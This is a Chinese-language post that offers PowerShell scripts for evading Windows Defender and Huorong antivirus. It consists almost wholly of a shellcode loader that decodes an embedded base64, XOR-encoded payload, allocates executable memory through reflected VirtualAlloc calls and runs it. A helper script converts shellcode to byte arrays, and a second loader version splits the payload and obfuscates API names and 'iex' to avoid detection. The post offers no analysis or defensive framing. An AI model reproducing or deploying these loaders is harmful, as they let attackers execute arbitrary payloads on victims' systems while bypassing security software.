Powershell 免杀过 defender 火绒，附自动化工具

Set-StrictMode -Version 2
 $DoIt = @'
 function func_get_proc_address {
 Param ($var_module, $var_procedure)
 $var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
 $var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))
 return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))
 }
 function func_get_delegate_type {
 Param (
 [Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
 [Parameter(Position = 1)] [Type] $var_return_type = [Void]
 )
 $var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
 $var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed')
 $var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')
 return $var_type_builder.CreateType()
 }
 [Byte[]]$var_code = [System.Convert]::FromBase64String('38uqIyMjQ6rGEvFHqHETqHEvqHE3qFELLJRpBRLcEuOPH0JfIQ8D4uwuIuTB03F0qHEzqGEfIvOoY1um41dpIvNzqGs7qHsDIvDAH2qoF6gi9RLcEuOP4uwuIuQbw1bXIF7bGF4HVsF7qHsHIvBFqC9oqHs/IvCoJ6gi86pnBwd4eEJ6eXLcw3t8eagxyKV+EuNJY5czSyMzIyNL3NwkI0kjS3uHcMbc9qDjY6rkcxLjk1OXSnNLR01QQndLb1QFJNz2mEIjIyPIWHuq5aDMY9+aYyMjI9CHqtugy2Njo9hZXRGYQiMjI6s7Y6g7YKs7o9hZXTmYQiMjI6s7Y6g7YKs7o9hZXSSYQiMjI6s7a2uYQiMjI6s7qtCq5Xd4oMgncEkjcEkjS2shIyNJM3NLSeq/6tz2puNWcqrTa5AjqztjqBPIU8uj3NzcI0JCQg1QV0JERg0SEhAREREVGg1NUBINRUpXQExOTQ1ATE4jwi3l+0Po7OXaJ05aGZj3Wg5Z+j031+ZsWpFVQarTa6grYqsro9p8XSRL05aBddz2S8swIyNLZ9MWw9z2qtOoK6roygDc3Nyk2XyoZDug2yJWGqDkP6gcpP2q3ahfBysS6pLc0Id0dHRgpNlxdHCiydwjIyNxS9cjre/c9nh8eR7cIyMjXyTK/N3c3Kr0ouQjIyMj3MQxF3Vb')
 for ($gg = 0; $gg -lt $var_code.Count; $gg++) {
 $var_code[$gg] = $var_code[$gg] -bxor 35
 }
 $var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))
 $var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40)
 [System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length)
 $var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type @([IntPtr]) ([Void])))
 $var_runme.Invoke([IntPtr]::Zero)
 '@
 If ([IntPtr]::size -eq 8) {
 start-job { param($a) IEX $a } -RunAs32 -Argument $DoIt | wait-job | Receive-Job
 }
 else {
 IEX $DoIt
 }

$string = ''
$s = [Byte[]]$var_code = [System.Convert]::FromBase64String('cs生成的shellcode')
$s |foreach{ $string = $string + $_.ToString()+','}
# 或者$string 短的话直接查看即可
$string > 1.txt

Set-StrictMode -Version 2
 $DoIt = @'
 function func_b {
 Param ($amodule, $aprocedure)
 $aunsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.Uns'+'afeN'+'ativeMethods')
 $agpa = $aunsafe_native_methods.GetMethod('GetP'+'rocAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))
 return $agpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($aunsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($amodule)))), $aprocedure))
 }
 function func_a {
 Param (
 [Parameter(Position = 0, Mandatory = $True)] [Type[]] $aparameters,
 [Parameter(Position = 1)] [Type] $areturn_type = [Void]
 )
 $atype_b = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('Reflect'+'edDel'+'egate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDeleg'+'ateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
 $atype_b.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $aparameters).SetImplementationFlags('Runtime, Managed')
 $atype_b.DefineMethod('Inv'+'oke', 'Public, HideBySig, NewSlot, Virtual', $areturn_type, $aparameters).SetImplementationFlags('Runtime, Managed')
 return $atype_b.CreateType()
 }
 [Byte[]]$a1 = [Byte[]](转码后的byte数组片段)
 [Byte[]]$a2 = [Byte[]](转码后的byte数组片段)
 [Byte[]]$a3 = [Byte[]](转码后的byte数组片段)
 [Byte[]]$a4 = [Byte[]](转码后的byte数组片段)
 [Byte[]]$a5 = [Byte[]](转码后的byte数组片段)
 [Byte[]]$acode = $a1+$a2+$a3+$a4+$a5
 for ($gg = 0; $gg -lt $acode.Count; $gg++) {
 $acode[$gg] = $acode[$gg] -bxor 35
 }
 $ava = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_b kernel32.dll VirtualAlloc), (func_a @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))
 $abuffer = $ava.Invoke([IntPtr]::Zero, $acode.Length, 0x3000, 0x40)
 [System.Runtime.InteropServices.Marshal]::Copy($acode, 0, $abuffer, $acode.length)
 $arunme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($abuffer, (func_a @([IntPtr]) ([Void])))
 $arunme.Invoke([IntPtr]::Zero)
 '@
 If ([IntPtr]::size -eq 8) {
 start-job { param($a) ie`x $a } -RunAs32 -Argument $DoIt | wait-job | Receive-Job
 }
 else {
 i`ex $DoIt
 }